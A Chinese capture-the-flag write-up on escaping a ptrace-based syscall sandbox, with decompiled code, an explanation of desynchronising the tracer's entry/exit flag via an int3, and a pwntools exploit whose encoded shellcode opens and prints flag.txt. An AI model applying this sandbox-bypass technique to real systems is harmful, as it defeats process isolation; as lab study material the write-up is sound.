Ptrace 沙箱绕过

Ptrace

二进制文件保护全开,使用了ptrace限制了可以使用的系统调用,具体的限制可以在main函数中看到:

main函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // eax
  __pid_t v4; // eax
  unsigned int v6; // ebx
  char v7; // bp
  const char *v8; // rsi
  int stat_loc; // [rsp+Ch] [rbp-10Ch]
  char v10; // [rsp+10h] [rbp-108h]
  __int128 v11; // [rsp+70h] [rbp-A8h]
  __int128 v12; // [rsp+80h] [rbp-98h]
  unsigned __int64 v13; // [rsp+E8h] [rbp-30h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("************* Try to get flag in my ptrace sandbox! *************");
  puts("* Give me your shellcode:");
  v3 = fork();
  if ( v3 < 0 )
  {
    v8 = "Fork error with code %d!\n";
    __errno_location();
    goto LABEL_24;
  }
  // 父进程中执行的内容
  if ( v3 )
  {
    v6 = v3;
    alarm(0x10u);
    // wait 设置只等待v6的子进程,
    // 第三个参数设置为 WNOHANG 则可以使调用者不阻塞,当前为阻塞父进程,等待子进程退出
    waitpid(v6, &stat_loc, 0); // waitpid 的时候会被阻塞,当子进程(目标进程)的执行被暂停或者子进程终止的时候,
                                // waitpid 函数会返回,然后同时获得子进程(目标进程)的一些 status
    v7 = 0;
    v8 = "Wrong signal %#x recieved!\n";
    if ( stat_loc != 4991 )
    {
LABEL_24:
      __printf_chk(1LL, v8);
      exit(-1);
    }
    while ( 1 )
    {
      while ( 1 )
      {
        /*
        形式:ptrace(PTRACE_SYS, pid, 0, signal)
     描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。
        与PTRACE_CONT不同的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被中止,并通知父进程。
     PTRACE_SYSCALL 主要是便于在进入和退出syscall的时候检测syscall的参数等
        */
        if ( ptrace(PTRACE_SYSCALL, v6, 0LL, 0LL) ) //重新运行子进程。
        {
          __errno_location();
          v8 = "PTRACE_SYSCALL error with code %d!\n";
          goto LABEL_24;
        }
        waitpid(v6, &stat_loc, 0);  // 阻塞的时候翻转v7,认为处理完了return
        if ( BYTE1(stat_loc) == 11 )
          goto LABEL_22;
        if ( (_BYTE)stat_loc != 127 )
        {
          puts("Take too long time!");
          exit(-1);
        }
        if ( !v7 )   // 第一次会break,也就是说为0的话会break,进入ptrace过滤的部分
          break;
        v7 = 0;
      }
      if ( ptrace(PTRACE_GETREGS, v6, 0LL, &v10) )
        goto LABEL_22;
      if ( *((_QWORD *)&v12 + 1) != 9LL )
      {
        if ( *((_QWORD *)&v12 + 1) <= 9uLL )
        {
          if ( *((_QWORD *)&v12 + 1) <= 1uLL )
            goto LABEL_19;
        }
        // 37是kill
        else if ( *((_QWORD *)&v12 + 1) == 60LL || *((_QWORD *)&v12 + 1) == 231LL || *((_QWORD *)&v12 + 1) == 37LL )
        {
          goto LABEL_19;
        }
        // 不满足过滤则将
        __printf_chk(1LL, "Block syscall %lld\n");
        // 注意这里是long long 类型的128位,也就是说会重置系统调用号为0
        v11 = 0LL;
        v12 = 0LL;
        // 如果出错就kill掉子进程
        if ( ptrace(PTRACE_SETREGS, v6, 0LL, &v10) )
        {
LABEL_22:
            // kill 掉子进程
          kill(v6, 9);
          return 0LL;
        }
      },
LABEL_19:
      v7 = 1; // 在while循环中, 记录使用系统调用进入还是返回,为0则是进入
    }
  }
  // 本进程被其父进程所跟踪,此时程序不能被调试
  ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
  v4 = getpid();
  // 获取子进程pid,并发送信号将其stop掉
  if ( kill(v4, 19) < 0 )
  {
    v8 = "Kill error with code %d!\n";
    __errno_location();
    goto LABEL_24;
  }
  sub_DF0();
  return 0LL;
}

// 子进程阻塞 kill(v4,19)
// waitpid 返回
// ptrace syscall 继续执行
// 


题目分析

ptrace沙箱绕过题目,主要考察的知识点在于对ptrace和waitpid、阻塞和进程的相关概念:

  • ptrace(PTRACE_SYS, pid, 0, signal) 在被跟踪进程中继续运行,直到调用系统调用开始或结束时,被跟踪进程被暂停,并通知父进程(被跟踪进程收到任何信号(除SIGKILL)都会停止,将信号转给跟踪器(触发wait))。
  • waitpid函数,调用waitpid 设置相应的参数时候当前进程会被阻塞,当子进程(目标进程)的执行被暂停或者子进程终止的时候,会继续执行
PTRACE_SYSCALL, PTRACE_SINGLESTEP
              Restart the stopped tracee as for PTRACE_CONT, but arrange for
              the tracee to be stopped at the next entry to or exit from a
              system call, or after execution of a single instruction,
              respectively.  (The tracee will also, as usual, be stopped
              upon receipt of a signal.)  From the tracer's perspective, the
              tracee will appear to have been stopped by receipt of a SIG‐
              TRAP.  So, for PTRACE_SYSCALL, for example, the idea is to
              inspect the arguments to the system call at the first stop,
              then do another PTRACE_SYSCALL and inspect the return value of
              the system call at the second stop.  The data argument is
              treated as for PTRACE_CONT.  (addr is ignored.)

程序的执行流程:

  • 父进程开始执行 调用fork fork出子进程
  • 在fork出的子进程中,调用ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);此时程序不能被调试,然后调用kill(getpid(),19),向父进程发送一个sigstop信号量
  • 父进程中调用ptrace重新运行子进程并再次使用waitpid阻塞,等待子进程执行系统调用时候发来的信号传输到waitpid函数中的status,进行系统调用的过滤

Ptrace沙箱绕过

  • 根据ptrace_syscall的特性,当进入系统调用和退出系统调用的时候都会发出信号
  • 因此设置了V7作为判断是进入还是退出系统调用的flag
    • 只有在进入的时候会break出第一个循环,然后进行后续的filter
  • 如果我们能够翻转该flag
    • 将进程进入的时候认为是退出,则此时不会对系统调用进行过滤
    • waitpid是阻塞当前进程,等待接收子进程的信号,因此如果单独给父进程发送一个信号量,但是不执行任何系统调用,比如连续发送两个软中断,第一次会设置为1,则第二次会进入前边一个while循环中出不来。类似如下伪代码:
flag = False
while(1){
    ptrace_syscall;
    waitpid()
    if (!flag){
        //filter
        flag = True
    } else{
        flag = False
    }
}

本来syscall的进入和退出都是一对的,现在我先使用软中断进入filter进行判断,会把其设置成True,然后再使用系统调用,此时会认为是退出状态不做filter检测,这样就绕过了ptrace的沙箱。

user_regs_struct结构

struct user_regs_struct
{
  unsigned long r15;
  unsigned long r14;
  unsigned long r13;
  unsigned long r12;
  unsigned long rbp;
  unsigned long rbx;
  unsigned long r11;
  unsigned long r10;
  unsigned long r9;
  unsigned long r8;
  unsigned long rax;
  unsigned long rcx;                    // v11   bp-0xA8
  unsigned long rdx;
  unsigned long rsi;                    // v12   bp-0x98
  unsigned long rdi;              // v12 + 1
  unsigned long orig_rax;
  unsigned long rip;
  unsigned long cs;
  unsigned long eflags;
  unsigned long rsp;
  unsigned long ss;
  unsigned long fs_base;
  unsigned long gs_base;
  unsigned long ds;
  unsigned long es;
  unsigned long fs;
  unsigned long gs;
};

其中几个比较关键的系统调用号是:

64位

read 0
write 1
mmap 9       
alarm 37
exit 60
exit_group 231

linux信号值

/*
1) SIGHUP   2) SIGINT   3) SIGQUIT  4) SIGILL   5) SIGTRAP
 6) SIGABRT  7) SIGBUS   8) SIGFPE   9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG  24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF 28) SIGWINCH    29) SIGIO   30) SIGPWR
31) SIGSYS  34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
19是一种以编程方式发送的信号
20通常由用户在键盘上输入,通常是Control- Z
*/

exp

from pwn import *
import pwnlib.shellcraft as sc
import re


p = process("./ptrace")
# p = remote("124.16.75.161",40027)
# e = ELF("./ptrace")

context(os='linux',arch='amd64',log_level="debug")
p.recv()
# sub = subprocess.Popen('./a.out', shell=True, stdout=subprocess.PIPE)
# stdout_value, stderr_value = sub.communicate("")
# rand = hex(long(stdout_value))
# rand = '0x'+ rand[-2:]

shellcode = "int 3" + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor rdx, rdx /* 0 */
xor rsi, rsi /* 0 */
/* call open() */
xor rax, rax
mov rax, 2
syscall
'''

shellcode += shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
shellcode = asm(shellcode)

zz = [1362961854,247196614,490125681,1821600200,663564497,851120067,1032144666,379292314,1095058085,1072414002,1888930265,978602442,1608555725,1664343457,870446574,1268151209,2053709597,1366143462,231284293,1415307182,1465670779,837932423,1030255982,1781959270,895163495,37728456,1283394886,469644965,688851060,1682402631,229957252,2049414308,1291994784,1992507776,688956118,226408322,49344032,1800899526,791535526,142367739,1892858414,1307242697,1807587550,910536308,1345687993,953676466,1779722827,281042229,1340324363,1174770966,804946825,1668132063,963870702,1164701926,625574920,1010116308,1485186114,1761929928,1901922127,1172987537,1449925971,1905297130,593023617,1540316970,1505255699,919045247,1860036268,2070206155,1403270174,2024796635,1892980531,59657309,959921715,128124634,1972193458,1938477893,1317047840,34318572,821474829,2036975011,705273836,1383993873,457403247,402076421,916748998,282641729,483065148,297518637,605998316,978532050,309233502,959636726,99034040,481924634,528820998,790901367,2144193867,671118927,1299290218,1368554978,1280000476,357897170,167543300,1623621630,1817655156,879694493,944437394,2145269023,940377955,848445600,61506113,1646104576,1072522491,686871809,969460914,398741033,1981453843,167465173,768013411,980757823,1316569438,1935448114,961625806,1194025819,644553929,926774545,341415078,1879767336,776970574,1885219929,41713222,1858825750,89488815,936052574,1427306202,1719954367,636657464,737720420,2147160099,747390845,435971577,861670743,274394288,1069574069,521360469,1131442580,872786314,902885566,1750850912,789121164,1498808623,802052233,1028569692,604674240,75727781,1972481147,861117572,1213365950,783695074,2017070565,1621527342,1778538365,216805847,220145187,1098805999,735518618,1789953718,1370763541,1299911471,1756732357,629145292,1149289289,97588940,1555220137,1971651762,109708753,27729547,1933357444,1204563881,1154652377,1505032005,786795029,1652129219,333460683,1733406473,808585345,649082139,340108261,568056818,268547135,715728064,1486581793,611413940,1474951710,854920347,1753724704,946445367,220736611,1690927419,2029395227,1894124833,8618821,1911736714,1452167676,235359367,1604291655,511503689,2135153157,1686239344,1039204264,988361227,2035539688,1836681875,1821186041,538190961,1269720287,1319489379,1127563246,1799742757,449221432,1343628171,185195278,2124480171,1242240284,1278110168,397434096,1377167671,411865622,898691269,304775446,389009796,341395413,1114953687,1703133473,628683623,421441278,190350882,918256405,235659002,967989454,1970683595,1139382834,1282014684,377366126,886959811,1505937094,1583319761,510865933,1229180250,922122211,1807801867,1348791205,1875398431,10646886,742734601,1636708284]

payload = ""
for i in range(256):
    if i < len(shellcode):
        if ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) < 0:
            payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) + 256)
        else:
            payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16))
    else:
        if ord('\x90') - int(hex(zz[i])[-2:], 16) < 0:
            payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16) + 256) 
        else:
            payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16))

p.send(payload)
# p.send(shellcode+(100-len(shellcode))*'0x90')
p.interactive()

参数链接:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,560评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,104评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,297评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,869评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,275评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,563评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,833评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,543评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,245评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,512评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,011评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,359评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,006评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,062评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,825评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,590评论 2 273
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,501评论 2 268